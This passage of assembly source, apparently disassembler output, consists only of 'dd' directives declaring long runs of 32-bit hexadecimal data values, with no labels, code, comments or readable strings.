		dd 1620FBAh, 0B903510Eh, 21027560h, 94D8F7A6h, 10AE2663h
		dd 30367120h, 0FC28BF27h, 0B5018665h, 4AFA19B1h, 0D28E64EAh
		dd 0E96BF1BEh, 0B398E000h, 0CB007BB1h, 2FDB109Dh, 1D24FC05h
		dd 0E4ABA230h, 9A13078Eh, 20D0E06Fh, 0EA18911Eh, 65480E09h
		dd 7AB706DCh, 38A7AF33h, 0CB1B0107h, 5F10A2E8h,	8ED158h
		dd 0EE310C9Dh, 0E5E69A14h, 801E303Fh, 7DF4C8E0h, 0D85FBD16h
		dd 4E6A8B8h, 0C75CCB1Eh, 927F0340h, 54E8DB3h, 1939E9D1h
		dd 6AA58231h, 332788C0h, 0D3FC38C3h, 7BC00082h,	0FD5CB551h
		dd 90CEEE79h, 0A9DD0052h, 0AD989h, 0A2DF2FCDh, 0E902622h
		dd 41001578h, 0D4643753h, 3E1B942h, 0FEA47BB5h,	2FA31BCh
		dd 3B3A80E0h, 0A5C50300h, 19BF16A6h, 66A40086h,	0F029528h
		dd 4000DD29h, 4BEAA545h, 1C9EBFh, 97165C3Eh, 0D82A1181h
		dd 1BBDE707h, 7B65CC05h, 393CA800h, 1D60C26h, 0E8E40E9Fh
		dd 805F24A5h, 958E16B4h, 2C891117h, 281A9C0h, 6A99E218h
		dd 0C81A48C1h, 44007891h, 0CE433809h, 75E4ACh, 0A332274Ah
		dd 48A9C9D6h, 2B035D06h, 117908h, 27E92FFFh, 7606569Bh
		dd 0E3D75900h, 60B2FDE4h, 0CABC00B7h, 67254EBAh, 7B7AC250h
		dd 245FAA00h, 7671F8B1h, 92351B55h, 53B0886Bh, 8900528Fh
		dd 3D733B11h, 481CE1CCh, 5B03C0F4h, 672B6104h, 436BEC90h
		dd 58387562h, 0D617401Dh, 99CF032Ch, 0FDAC7C9Ah, 0D275BB0h
		dd 3217A918h, 0E789A63Ah, 9754F4h, 75E3AE8h, 4326674Fh
		dd 0B4DB573Eh, 0D0C1206Bh, 0C360FBF3h, 3B7828C5h, 0F79A0983h
		dd 0C10FF412h, 9F0FE080h, 9326AF91h, 0BE048510h, 80AFC201h
		dd 0AB467EE9h, 66FC3D00h, 67977A03h, 0A0E400A4h, 0E86471D2h
		dd 3900C8D7h, 777CAC36h, 3C6F4054h, 5A0FDA30h, 8B6080A7h
		dd 0E8BAEB59h, 28353D31h, 9D104893h, 70815DEAh,	0AF445408h
		dd 0D84A445Fh, 84A47944h, 7999D731h, 0F80094DBh, 8B01A972h
		dd 20BAB9E3h, 0F670685Ah, 95BB0448h, 8080C376h,	7AFFFEB7h
		dd 0CC992100h, 0D2818DD1h, 80C55AA6h, 734786AFh, 4D76FD00h
		dd 0A2059838h, 0D34E00BDh, 721E8D7Ch, 280097F8h, 0C5AC616Ah
		dd 7B6E6045h, 84ED00C2h, 8C1FD2A1h, 0CE001D0Eh,	3D2A8723h
		dd 411813h, 0D1406443h,	6ECD77A4h, 0CB0012F0h, 0CF5FF714h
		dd 0FDFA82h, 0E8838825h, 411BD230h, 0CAB7BD07h,	0C05F9584h
		dd 0F36A5DB5h, 38E020Fh, 0B9F6AB9Ah, 0C48F63C0h, 41E0E600h
		dd 1F0984A6h, 77F4EAh, 2ADF3DDEh, 0AE8A7E64h, 9700A572h
		dd 690CBD11h, 78BC1FE8h, 9B7C002Eh, 209F1E74h, 1D00DAC2h
		dd 47E7AF65h, 0CB6D5Ah,	0CC0B42D1h, 75B1A37h, 9D9B7A00h
		dd 0DC5C04FBh, 3E9EA4Fh, 15A8A0A6h, 21B2229Eh, 0E0145541h
		dd 2900DA1Bh, 0D10CE7E0h, 9B7425h, 2C17CA5Eh, 46226E18h
		dd 0C0376707h, 9740D862h, 0BEB773h, 0DE54E153h,	0A446E78Ch
		dd 0BD1C2400h, 0BA432749h, 0B94F33A6h, 54800B30h, 23077BA9h
		dd 0D6B1BC61h, 6A8D9A30h, 1FA8A85Ah, 0BD821D3Ch, 0D376406Ch
		dd 0F7C370B6h, 89109A00h, 0D9A39CCFh, 59C900E3h, 0C412E605h
		dd 0A40E442Fh, 0A0F04B0Dh, 8A23CCA2h, 57AE0032h, 0BCEB45DFh
		dd 0A707D80Fh, 0F57F2F70h, 4AE6D460h, 20140092h, 0CC9D6ADDh
		dd 30FA5213h, 0C74F82EEh, 0DC0765F8h, 0B032058Fh, 434EEC29h
		dd 80FD3A3Dh, 502E669Eh, 308BBC5Ah, 14C078DBh, 0C900231Ch
		dd 3E4FAEE3h, 1527BDD6h, 0B46C4184h, 0FBBD10Fh,	56061600h
		dd 2700DD67h, 4DE43868h, 2285B3h, 0FE396A4Ch, 97BB4B73h
		dd 287C620Fh, 496C608Bh, 33CDF71h, 1EB0B97Ah, 61B0B4ECh
		dd 3848C9A8h, 0B244000Fh, 6B17BD79h, 321F0082h,	0B71AD96h
		dd 0F9007B31h, 2474B6D0h, 64E2Bh, 0C0BD9333h, 29C45DB8h
		dd 841BA028h, 0F7B70300h, 9E641250h, 777969h, 0BA01A67Eh
		dd 0EE4196CBh, 0DDF4C200h, 189A9C51h, 1534000Eh, 4A90EA86h
		dd 0C80F6E2Ah, 0C0BE2C5Dh, 5B92AA2Bh, 0EEA200F2h, 3413581Eh
		dd 96009C55h, 0C739C291h, 7EF01Ch, 287BAE53h, 0B8232DE7h
		dd 0DFA73800h, 4061DC73h, 699C00FDh, 1984D9CAh,	1F028387h
		dd 0E6729286h, 3E2A4051h, 0DC743C1Ch, 0AC2E2D00h, 67964154h
		dd 1D14D703h, 0D84643EDh, 0AA47E6Fh, 0F7E53986h, 0B63C00EAh
		dd 47A33D23h, 10D74D02h, 0C0795C62h, 30836Eh, 0A1D22F78h
		dd 1C5D804Ch, 211D1007h, 2570FDD3h, 43EE95h, 9CC1C8EFh
		dd 52BC8481h, 0EB180400h, 60162235h, 0CA510113h, 0C47F7B23h
		dd 324EF871h, 648E2A26h, 0F009B500h, 5BB1F33h, 3CB42857h
		dd 1B8780F6h, 0E11F2383h, 51C398F5h, 594CAEh, 0F4F62FCh
		dd 23964D1Dh, 162DBD00h, 64ED863Fh, 93DB0E29h, 7D001E70h
		dd 0F4D74025h, 77685900h, 0FD659446h, 14B5027Fh, 3E9C98D2h
		dd 0EC6098C1h, 0C004295h, 0E5258CC2h, 16E2Ch, 34787744h
		dd 6665FEF0h, 0C27DE371h, 199FA300h, 0CA061070h, 14890013h
		dd 4737AFCh, 212822Eh, 2600FF4Ah, 6CAA97F2h, 0D3C20740h
		dd 2057329Ch, 0A2DB80EDh, 9900C87Ah, 917E3D83h,	1CD8041Eh
		dd 32C0AEh, 0B9A30663h,	40006AEDh, 3FFA115Dh, 162109h
		dd 0FC10DF5Bh, 8E66E2F0h, 4BB1E700h, 69FE5D75h,	0AF1F00CCh
		dd 123A33FAh, 3400CA73h, 0F8F1C0B6h, 6E0285h, 790D9D88h
		dd 0DF097168h, 72EBCC00h, 39E7BC9Ah, 18FEC1h, 6C21F5D4h
		dd 4E354FEh, 0BF8F5600h, 4F517CF0h, 0BA791CF8h,	0FF7285Ah
		dd 9D34E3BCh, 0E290D023h, 21E63FD0h, 0E7563Bh, 0E58171CCh
		dd 3180EC8Eh, 0A405243h, 609EECFFh, 77EA5E00h, 0AD1694F2h
		dd 1A26007Eh, 542705B7h, 1302DDF1h, 4EBE085Fh, 8E5140E4h
		dd 7ADF24B5h, 0DE9000B6h, 8BBD551Eh, 7767762Eh,	68082500h
		dd 56BB58h, 207B79B9h, 65BC4A53h, 0C90047E8h, 340C67EFh
		dd 0A0032Fh, 0DAB1A32Ch, 88EDCE05h, 382465EEh, 940115C6h
		dd 0F2CC8584h, 72FC5CF1h, 0B78600FBh, 0D355647Ch, 44001E1Ch
		dd 4841CE80h, 3B50495h,	59669713h, 0F3C8E820h, 2900BEAEh
		dd 0CC1AB1EFh, 0FA7098h, 43198F8Dh, 90E1F032h, 0C30094EEh
		dd 9FF1CAD9h, 0C04B01h,	911E8552h, 7C2C9866h, 8C006E7Eh
		dd 0C776B33Fh, 73C34Ch,	0BA2EB902h, 9D283389h, 0AFFCCB00h
		dd 0F84D451h, 959200F3h, 800A1803h, 0E598D3F1h,	0A4AB5500h
		dd 27226A7Ch, 5163A2Fh,	251B8E80h, 0F6489BA1h, 2FB07E5Fh
		dd 0E2B20096h, 5D34631Fh, 87007BCBh, 3DAA4FC8h,	66191Ch
		dd 37C9249Ah, 0F078F74h, 0ACF05300h, 41E865BAh,	9012E20Ch
		dd 0D38B038Eh, 382088ADh, 451F55B8h, 0B23E6A7Eh, 0E0E500DAh
		dd 96CA7766h, 0D18F001Ch, 0B3CE35D7h, 430E3F11h, 0C0F4026Eh
		dd 6819CDDFh, 27FC006Ch, 3728B056h, 0EA03E987h,	0E65BCB4Ch
		dd 9273B016h, 4F880390h
		dd 0CC1859FFh, 0ACA230BFh, 0BB07C05Dh, 33C7067Ch, 14988470h
		dd 20D9005Ah, 7829500Dh, 0C300116Eh, 4BABEB55h,	0DDE1CFh
		dd 2F20EA80h, 0EF566231h, 7F0077F2h, 0E7DFC663h, 0BE539Fh
		dd 0F3A349Ch, 0C1AB5EC8h, 6D87FB0Eh, 18E02063h,	2DA5C2h
		dd 884DB299h, 80AECF26h, 3FFB7400h, 17B3B6Ch, 85DA005Bh
		dd 75254244h, 6600ECE9h, 5158DB3Ch, 704B55h, 0E03B232Eh
		dd 0BEE489EEh, 0CA448300h, 197DD832h, 10E3006Ch, 0EF6F4D5Ah
		dd 0CCFDB5DCh, 0BA7FC12Ah, 0BD2C9000h, 0D905FFFCh, 1824007Dh
		dd 7175036Ah, 0DA700A58h, 28AD9200h, 3A7FE305h,	127800E5h
		dd 0F3EF5214h, 0A47D322Dh, 80DC8D01h, 0D70530E6h, 41F8A8C9h
		dd 0EBBB0031h, 933D0CA1h, 0A000C05Bh, 0CFAE2EA7h, 1E420E71h
		dd 46E88581h, 18C44DBFh, 0CCC39A0Fh, 327526D3h,	0AF944840h
		dd 74D5B000h, 0B526F9CDh, 5D1C3Ah, 9DA8EFDAh, 394B4209h
		dd 0F818DB9Eh, 1E8F792Eh, 0D300D2FAh, 0EC5FE15Bh, 6B4EA5h
		dd 3199B62Eh, 0B04A41BCh, 2FE55900h, 0DCEEC064h, 0A8D200FBh
		dd 0CEB7D880h, 0CF02F550h, 0BDE2A919h, 1DDFC098h, 6F7D03DCh
		dd 7375FA79h, 82D980F0h, 0BB89FC01h, 133D4837h,	0C6CADCh
		dd 0E0067A8Ah, 5184BFF4h, 0ED2AAD00h, 4CDC4FA0h, 70CA603Bh
		dd 0CB438A8Eh, 0D017278h, 0FD993651h, 2ACC2D11h, 0F6CE0358h
		dd 25D79C79h, 0F4C2CDF1h, 6200BC52h, 0CC4EB748h, 5D5189h
		dd 0A4ECFC22h, 13E55036h, 0B175BA01h, 2BD052C6h, 7CF344C0h
		dd 773E451h, 8BA91F90h,	74E4D00Eh, 77005FE6h, 1E92D7F8h
		dd 3B437DD2h, 7F873FD5h, 0E3E06798h, 4FD05B8Eh,	724C3BF4h
		dd 1FF71E94h, 0C0B069CFh, 0F106966Bh, 0F51C1384h, 897B0023h
		dd 0CE17FBEAh, 0BE00CCE8h, 2A26D84Bh, 1C916EBFh, 0FB59ECF2h
		dd 40C8C01Dh, 0EE6C9F01h, 0B500E903h, 90A735CDh, 1CBDFBEh
		dd 7C96B189h, 0E01CDBEDh, 5400782Fh, 6905EE5h, 0E55B830h
		dd 0C7A5E0BBh, 0D4FC017Dh, 0C82DA488h, 19CAE10Bh, 1E01D8D0h
		dd 0A37C3D7Fh, 1FF21DE0h, 0C0CAE30Eh, 9217FEA4h, 94009C02h
		dd 0FF916CF6h, 2C9EBCh,	5F977BB2h, 0EC432101h, 821AB800h
		dd 0FD27F322h, 41DA01CFh, 79925890h, 9FF8DB7Ah,	77002B26h
		dd 0CF1D46F0h, 0FA7E70Eh, 0AA9D313Fh, 3B800BE0h, 0E00BC31Ah
		dd 1FE2ACAh, 59CB08CAh,	3AB61C8h, 6D5B2F0Bh, 840788DEh
		dd 0CA2D1512h, 0BF33E130h, 3CEB0059h, 0BA212E01h, 1D010C2Fh
		dd 0A4BD659Ch, 0B4F80B5Eh, 0D62700A2h, 488DD526h, 0E801BA2Fh
		dd 9CA35F24h, 0DD702ABEh, 2B72000Eh, 48EF76C3h,	7E0FC889h
		dd 80A20C06h, 91E0DDECh, 163D0028h, 35373FFCh, 9D76F257h
		dd 0E40098F0h, 7F8047Ch, 0AFB402h, 2877F30Dh, 56745E2h
		dd 3650B3Ah, 9920502Dh,	8FB0C8D2h, 0A59C00A7h, 84B2FA7Bh
		dd 8D0003B3h, 166E622Ch, 0BF101C3h, 0DCA75527h,	11AF9107h
		dd 0D828397Bh, 4700AD94h, 0F2EE5FA1h, 5E0279h, 0F4709C88h
		dd 9F3951FAh, 0E0A39B00h, 2232455Ah, 3ED407D6h,	0D0806960h
		dd 0A11386Fh, 0D7BA3000h, 0EA406B0Dh, 634100B1h, 0C9ABB816h
		dd 0D600CDF7h, 9E43E87Dh, 2275FCh, 0AA8847CEh, 0EF6DEBFDh
		dd 0B700C6E8h, 592AFF2Dh, 193F2D3h, 0DD6201ABh,	0D4CEDFC8h
		dd 0B500E7F8h, 69E8194Fh, 0E8CA3h, 56E2FA10h, 3B77D886h
		dd 8EF77400h, 0BE6EB792h, 6A870070h, 54576D41h,	7F00B185h
		dd 0F0EAEEB2h, 0E6B374h, 0D758C53Ch, 0E5E34E2Dh, 69681100h
		dd 0B2032E71h, 66F5030Ah, 3A9D7961h, 2FDEAC8h, 0F2A36000h
		dd 0E48FFB20h, 81E6C8h,	1566BECBh, 0FC0DE5B0h, 81A1DC3Fh
		dd 0D3F99853h, 0D08037E4h, 617E25FFh, 5C98F54Fh, 39FE5C20h
		dd 151CF87Bh, 386C62h, 0AFCFA782h, 3E04E81Ah, 0B38AF407h
		dd 0FDD80C0h, 23B81EE5h, 736C80D7h, 219F6DF7h, 57C51300h
		dd 75CFA3B4h, 328B2810h, 181260A4h, 81B287D4h, 0C0292600h
		dd 0F91AF692h, 0ADDC00F7h, 8B8C3DDDh, 2806CC49h, 696E8D9Bh
		dd 0A5121E51h, 33EACE10h, 0B02DBDE7h, 146AFCEDh, 4E5920C0h
		dd 0C9E27Eh, 860C3894h,	3DD788E1h, 34B4ED00h, 0E74EE0AAh
		dd 0A28F3C04h, 22416780h, 0BC327EC6h, 0CC0C1100h, 364B3AEBh
		dd 9CF201D1h, 99A430B6h, 0AF5E086h, 0C10045F8h,	95199F28h
		dd 0BCBD671h, 55F3104Eh, 0D020D987h, 6B331DBFh,	60D39700h
		dd 7D728863h, 7BAC0010h, 0FFCBB643h, 0E63B9D56h, 4F02800Fh
		dd 71DBA474h, 0C28100CEh, 0FC709890h, 28030B31h, 0E5B18F95h
		dd 7880D78Dh, 7BACD56h,	0A7F4BC6Fh, 0E314B002h,	10C0C934h
		dd 0EC180531h, 1AD80E96h, 0A8F30DA0h, 3E0F3C9Eh, 769125F5h
		dd 4F9D1CAAh, 9040DA5Fh, 0B45BDCC5h, 96036000h,	0C0EBA3D3h
		dd 829D0028h, 5C9B050Fh, 63B84947h, 0E900B0E4h,	46F5E374h
		dd 72E3FEBh, 0EE4C459h,	0C0204514h, 0DF26ADE0h,	230F7C0Eh
		dd 3084A029h, 0FB8EEAh,	91E86F71h, 9641B278h, 160FEC77h
		dd 4FE0549Eh, 40CEE0F5h, 31A6A8h, 1BFB6CFEh, 33E2112Ch
		dd 1978D600h, 389BF787h, 0D7640073h, 8EE02096h,	9A00483Fh
		dd 0EA6B855Fh, 0C6F466h, 5E7BDF55h, 0CE50E151h,	9D5CAA01h
		dd 90483488h, 0D126E040h, 0C17DA6h, 0E9023593h,	62030624h
		dd 0FF25C501h, 59E0732h, 649B30h, 4FB90956h, 58FB0B4Bh
		dd 0ACC1EB3Fh, 710086AAh, 41CF228h, 7B750107h, 726BD5D6h
		dd 0C02DD139h, 0DE5F644Ch, 0AA003DECh, 0E16107EEh, 66078D62h
		dd 8969487Eh, 8046A673h, 0EA1FBDA0h, 7975CEh, 0DF3071F2h
		dd 84325009h, 209235F8h, 851038h, 80A4BD8h, 3AEEBBh, 3FA21DFh
		dd 0E206B45Dh, 0F5A92600h, 358BC0ABh, 407F1862h, 0CD1440D5h
		dd 9B0239h, 72CFE0FCh, 1EE743h,	5B6CDDC9h, 6FE420B1h, 0D400BF7Ah
		dd 0E65D27ACh, 7EF00EE5h, 8ED9003Eh, 783FABEDh,	9F07E4EEh
		dd 5FE0D755h, 490BC7h, 0EFC98B5Eh, 610503CEh, 3F1657Ah
		dd 0B2000FF7h, 933F3827h, 0C3D85307h, 36D129C6h, 860F172h
		dd 5A6801ABh, 5DF7B801h, 8196D0C7h, 91104Ch, 427BBD83h
		dd 2DDA75Bh, 0B94898A3h, 0B5C01AA5h, 0E70058F3h, 297997C8h
		dd 0EFF14h, 81A88342h, 8B4E446Bh, 7D01B378h, 22E21E69h
		dd 0D6E8E643h, 458CA034h, 0D74C00C8h, 2CEE078Eh, 12039389h
		dd 20F960DEh, 4869D037h, 0ED6C01D3h, 8D302DC3h,	0F4ABFCAAh
		dd 71B4A402h, 7DEF40A7h, 5DD5A940h, 500F6D16h, 0A9CAD100h
		dd 211BDFDh, 6C9D3515h,	0CDE0087Bh, 750E3384h, 31676ABh
		dd 0B0438FF0h, 4D269113h, 0BA0E0C95h, 39600903h, 0CC7F5884h
		dd 1056500h, 7CB0AE7Bh,	5A740010h, 2D4D0C8Dh, 2A001975h
		dd 0DB809BE2h, 10E25D9h, 119F0A4Ah, 0EA87BE8Eh,	42FEA080h
		dd 73013EA8h, 0F41C534Eh, 30202A9Eh, 8FC500D3h,	0E30CB996h
		dd 7B004F59h, 39444634h, 48643D2Ah, 54003E79h, 0D056BBA4h
		dd 7500A655h, 0DBE4EF6Ah, 0E049D4h, 0BD13E6C9h,	47DD3522h
		dd 34517700h, 11D12EA0h, 260003Fh, 0DBA39A1Dh, 20188187h
		dd 0F102F68h, 0FDC10064h, 0DF1E8A71h, 0FB07A77Dh, 1DD2C88Bh
		dd 0B7DBF8F0h, 3C72009Fh, 38805DA5h, 7500E384h,	41347A94h
		dd 9EE892h, 2D91B1D6h, 1ECEE1F3h, 66572E05h, 4FC00307h
		dd 0C74428h, 0A90E7817h, 3C323D9Bh, 0BE120201h,	0BB2F311h
		dd 99CE4h, 0FA9075F1h, 7E992BCEh, 80365E3Dh, 0AF19F7B1h
		dd 0B913D6h, 0A4947FE9h, 0AE85FA04h, 1FA2D200h,	5D8A97E4h
		dd 414C004Bh, 0B6AB1D18h, 9F03ACE9h, 0AF53F7E6h, 3504A82Fh
		dd 506C00C8h, 0D2645E19h, 0E503F6D9h, 60442748h, 993FA17Eh
		dd 4C4E91E4h, 9726CC9Ah, 9E0800F7h, 72B4B2EFh, 0D17F4A00h
		dd 1F5EC049h, 0C5893BD2h, 8BFAF6h, 0DA1DBE6Dh, 0B61754E4h
		dd 3C7A9800h, 0D8200890h, 26295876h, 0E6B0BA00h, 3EFAD635h
		dd 14804Dh, 0E826798Ah,	72D18Dh, 7C62AEE9h, 698485D8h
		dd 452A5C1Ch, 29DE81C1h, 0E0C6A49Dh, 904D64C5h,	85D00060h
		dd 8CE1A16Ch, 493BEAF5h, 0A86500BBh, 0C1364235h, 103C304Dh
		dd 0E7D7DDF9h, 0ECBC4E01h, 6ACE6C25h, 6E80DCh, 3CF6E591h
		dd 0D47E9686h, 80FD4B38h, 7022E3ECh, 71B9AEC1h,	263001Eh
		dd 1826B608h, 0C500DD69h, 0D761F439h, 4A37DEh, 77A97E58h
		dd 0ACDA9933h, 8BF6630Ah, 560BC894h, 6CBB804Fh,	35B348Ah
		dd 230E1586h, 0ABA03F30h, 0CB904284h, 0FC2EDB09h, 2ADA00C0h
		dd 179AA2Bh, 4725D4CAh,	80DB8368h, 311B9610h, 4BFD4916h
		dd 7F63B808h, 8255C300h, 3AE263C0h, 0DB78C396h,	8005E1F6h
		dd 5B05D19Dh, 5ADEC0EAh, 9B3ECF88h, 0F94B0051h,	0B61E0E9Ah
		dd 16D018DBh, 646330F8h, 4849FA30h, 0FACA9A21h,	0BDCF1E33h
		dd 0FD14CF42h, 0C59F0F9Eh, 998BAD00h, 1F00766Eh, 7FE15EFBh
		dd 1F82049h, 92502640h,	40DDBEBDh, 0C1D2C4Ch, 0C36F7C03h
		dd 9839C717h, 975605h, 5ADA3C4Ch, 302E5E1Dh, 52FC9800h
		dd 0AECA8CC7h, 26F848h,	0C3440428h, 2CA71F59h, 1E2A61C3h
		dd 9EC5F1CFh, 52E6D882h, 0C0A09AEEh, 1D7EF424h,	2C5CB800h
		dd 9ECC2177h, 74D50022h, 8FCBA9F0h, 0FDF00658h,	0A4C56C01h
		dd 0AA3D662Dh, 0F827B530h, 746800D8h, 0D97256E2h, 7D00D65Dh
		dd 25A957FBh, 7EDCCCh, 5A5EADC4h, 293C1ACBh, 97849600h
		dd 7C6BD10Ah, 3EC300E0h, 0CBA51B42h, 0E739ADE2h, 838000EBh
		dd 0B2C15693h, 0AB67008Eh, 430B2E3Ah, 0AD004A97h, 0D47FA569h
		dd 7BD3C798h, 0D59001EEh, 0E475824Fh, 0E302E86Ah, 53F8FE0Eh
		dd 962F47F5h, 7376BDF0h, 0D1DA1C67h, 0B38070FAh, 0A900E7EDh
		dd 64129157h, 1E6A9450h, 0C1C8C50Eh, 8E419230h,	7BB8E033h
		dd 3B489D1Eh, 0DE5535C0h, 0F546118h, 4A43CFBAh,	0D83CB80h
		dd 0B900F203h, 0A8866E10h, 0F464DEC7h, 0FADA00C2h, 33277FF1h
		dd 0B80076A1h, 0FF682DBEh, 7AD599h, 0AA77FC96h,	12C43C56h
		dd 7B1A6D03h, 42E03B2Ch, 40E20460h, 5F041888h, 38CA36C0h
		dd 7E8FD0h, 49F896E8h, 0F2BB9CA4h, 4721AF00h, 0F54B6516h
		dd 0CDCB008Ah, 0A1B27DF0h, 5AFA9B4Ah, 0E000967Fh, 58F744A6h
		dd 37DA6Ch, 8269A9D0h, 0E2346221h, 94645105h, 0A88016B6h
		dd 0BCB8F7h, 2D05F9A1h,	1324373Bh, 5399FD14h, 28CDE020h
		dd 0A40186ACh, 0C8B1CF84h, 8883977Bh, 294CD3BDh, 0E4C1C800h
		dd 6235BF7Eh, 102F62F1h, 5610C30Eh, 0AE411EBCh,	0F5A40336h
		dd 3AE8B5E2h, 391FF823h, 4F003FCDh, 0D1C3EACEh,	552A1E89h
		dd 0A0FB3944h, 30E4C084h, 0EE5026F2h, 0D530A9DFh, 0F14A8848h
		dd 2B990FDAh, 0B5E38AE1h, 502A1D81h, 0B80CB4FEh, 484A51CDh
		dd 101B00E8h, 0F0E1C2F2h, 30A81DBAh, 3F60E6BFh,	65F3ADB1h
		dd 0BF48088h, 1EAE20A0h, 0EC801108h, 6A1154D7h,	0FFC0352Eh
		dd 0F2EFD005h, 2086C6B0h, 0FBC95100h, 69121F6Ch, 2A181EFDh
		dd 0EE1A00F1h, 6D1B5495h, 73252C00h, 15F93422h,	59D9319Dh
		dd 59EE0418h, 8EB12120h, 0E0F9B340h, 0F6D1A34h,	719D0331h
		dd 2D244014h, 4742F5C8h, 0E87BD200h, 0ED9896BDh, 0FE9D18FFh
		dd 87C3184Bh, 3A19DF0Bh, 0FB6700D5h, 0F4F94890h, 202C54DAh
		dd 75E87888h, 337811A4h, 2394E29Ch, 88005439h, 0AFC6921Bh
		dd 6CF291h, 0A085D296h,	2E7EFEAh, 0D8C03379h, 11C7B1A1h
		dd 0EE6D0F1Ch, 0DA04AA5Fh, 0AD6282DDh, 6F2C2098h, 501DEC21h
		dd 52422DF6h, 0F30BEEC1h, 0EF02D032h, 85832346h, 60C40F49h
		dd 720CB967h, 80DD6253h, 28347A2Bh, 8CE0E929h, 45EF0440h
		dd 7CE7B6C5h, 802E4225h, 9419D84Ah, 0D706402Fh,	2E24B042h
		dd 20503BB6h, 803D421Dh, 0A37ED6D7h, 8084525Bh,	4A2DB5A1h
		dd 95B63D20h, 0E160B840h, 0E047DF56h, 96624363h, 44101F28h
		dd 1AD98030h, 19962E14h, 0D51E7300h, 90A7F0EEh,	65F91308h
		dd 37900F26h, 0E76DC580h, 0D20093F5h, 6C97BDFDh, 0F07A95E8h
		dd 420A6F2h, 0D666702Ah, 43547C64h, 0B245829Dh,	90881585h
		dd 0E33470A5h, 2403AF08h, 0AC01D427h, 54DA790Ch, 101FDDBEh
		dd 0ABA0B0D8h, 0E0A7F0Ch, 6045913Fh, 0A59D80D8h, 0D3510D20h
		dd 9C800A22h, 37612069h, 0B8C2C87Ch, 1F7680h, 3F0938E2h
		dd 0C86F3D2Ah, 1B403Ch,	50BE432Ch, 10F978h, 42ED89CFh
		dd 2ED41F05h, 6A18F865h, 20B42072h, 0B1257BFBh,	0BBF97500h
		dd 52ADDAE6h, 0AE96004Eh, 14681DD5h, 0DD7FBDC4h, 9B624518h
		dd 2EB718h, 0ADE86EA6h,	3D72B6CAh, 0EAAAF51Eh, 6201202Bh
		dd 0CB261244h, 60E1211Fh, 21546871h, 0F8FA7911h, 28AC54F7h
		dd 606706A0h, 0C0D969AFh, 0B027A610h, 0AA809F1h, 9E681800h
		dd 0BB99608Bh, 0A819888Fh, 2B9B0D70h, 0C5209A91h, 0C1802CE5h
		dd 141F6502h, 3EF93357h, 4641D160h, 6B7E9Eh, 71CCD5BBh
		dd 80C7DB54h, 7695B800h, 9EC9735h, 701300ACh, 0A4D02351h
		dd 9F60D7A6h, 84740518h, 0F97B0022h, 6D3C9CD8h,	202BC249h
		dd 730120EFh, 0AA0CDD85h, 0DBD9101Fh, 0FB73A1E1h, 523EBED2h
		dd 7FC040A5h, 0A9FF5C84h, 2071948Fh, 3B1702B0h,	8A603257h
		dd 1E582095h, 0C8940843h, 0A1F09FD8h, 1A3ECC2h,	4BFCF455h
		dd 0E87487F1h, 0A00373C6h, 21251909h, 2D180F4Fh, 0C160C523h
		dd 2402189Eh, 40606EF0h, 25EB4440h, 0F6BE8065h,	38C7CD00h
		dd 8567F5CBh, 1FB600E5h, 7A6E3919h, 88758924h, 9500F3F8h
		dd 165D939Ah, 6F5973h, 0C5B6D4B5h, 60D30F35h, 1C00CCF8h
		dd 30E5D83Bh, 0F5D70EDh, 0C9AE22BFh, 3DB57980h,	353FFCCAh
		dd 40984050h, 647814B3h, 22F40h, 7B5CCA63h, 447AF19Dh
		dd 6772F503h, 98EF0973h, 7C590EEBh, 0CFC70078h,	0AC1E1BEEh
		dd 1C075455h, 0EDC2FBD2h, 107A8E82h, 2A0472A9h,	4BE531F4h
		dd 0A087977Ch, 0B6E10ACAh, 0D120E9B2h, 0C0E110D3h, 74940005h
		dd 75BF9C44h, 6700B304h, 0D435BE01h, 7393E4C3h,	25F20CEAh
		dd 9A180243h, 0CEC7A914h, 96F30098h, 52708CD3h,	52C0F0CBh
		dd 4E0120B2h, 22E0ABBh,	0BC101E26h, 0B48AE051h,	0A0464214h
		dd 0B5B944h, 0D4FC33A3h, 9D772F6Ch, 52AA2E01h, 6762D3D8h
		dd 188089C1h, 0F8379B43h, 0C0F8A3B6h, 0A8939D1Dh, 0E90020EBh
		dd 4C17F12Eh, 6827232Bh, 1CB47CC2h, 9D6F5705h, 406C323Dh
		dd 1F20AEB0h, 82A42E03h, 6A6E0E8Fh, 0C078433Ch,	205132E4h
		dd 9060AD25h, 802BB284h, 79B3D9A0h, 0CC908F58h,	0FFC000B4h
		dd 24DBAC3Dh, 0C2B940ADh, 0BF2DF8C0h, 0D9239153h, 635E330h
		dd 2E6170C4h, 6A343EB4h, 94E425A3h, 1740822Dh, 953B71EEh
		dd 208814E0h, 7C5F31B0h, 4026192Bh, 14D85C62h, 42E393Dh
		dd 6D2C625Bh, 0D948107Ch, 0EA72E040h, 6E11117Bh, 0D90CE16Ah
		dd 6905604Ah, 2A3FF3BBh, 0DB437080h, 1C43F881h,	14405E29h
		dd 0E080DAD4h, 4813E7E9h, 0E4A820EBh, 738220A5h, 4560AF4Dh
		dd 3C584560h, 491555C0h, 0E340DF6Eh, 417F2Ch, 35563A78h
		dd 6D2D54CDh, 550053FEh, 2217913Fh, 1DB3D4DCh, 0CF894A3h
		dd 665131C4h, 388D122h
		dd 0CC8CD29Ah, 690DC24h, 263E7553h, 18563ACEh, 8F892808h
		dd 8AA12093h, 0A7EB50C3h, 1690E02Eh, 1020A48Eh,	0E1CD5855h
		dd 9E0046EDh, 8A60206Ah, 1222A518h, 6859C13Ch, 823256D8h
		dd 47261B30h, 51C200B5h, 0E8802EA8h, 531600D9h,	7950D8EAh
		dd 5E002539h, 0D1463637h, 634D9390h, 2BEB3882h,	17259000h
		dd 18066C27h, 98D000A4h, 0CF4EB258h, 81005BBAh,	59A62D41h
		dd 34E610h, 157E6D63h, 9C9D62DBh, 624CE39h, 8032AD54h
		dd 1E203050h, 1CA54159h, 197A812Ch, 50C54A00h, 290373E7h
		dd 0EC833F7h, 0DA810DA7h, 8005113Eh, 2B9B4820h,	1578FBh
		dd 0BA5AEF41h, 54C7FD3Bh, 7A896B00h, 0D23A7266h, 7B47CA6h
		dd 34ED1309h, 0CE780CFCh, 4F016BE2h, 0E11CA6F7h, 0F050B4A2h
		dd 6E0FDDh, 354114D4h, 9F15681Bh, 0FEA16300h, 0ECD5FBEh
		dd 9C8518A3h, 501748AEh, 0E3F31A00h, 0DE2B949Dh, 0F4FCF82Ah
		dd 0A44E5452h, 500A799Eh, 123FC096h, 0CEAC21h, 7DE9322Ch
		dd 0D00DFADh, 199F841h,	6526AFh, 2568160Eh, 0C0D50C2Ch
		dd 393C807h, 809F3EF5h,	966B0DE0h, 5542075Eh, 800E276Ah
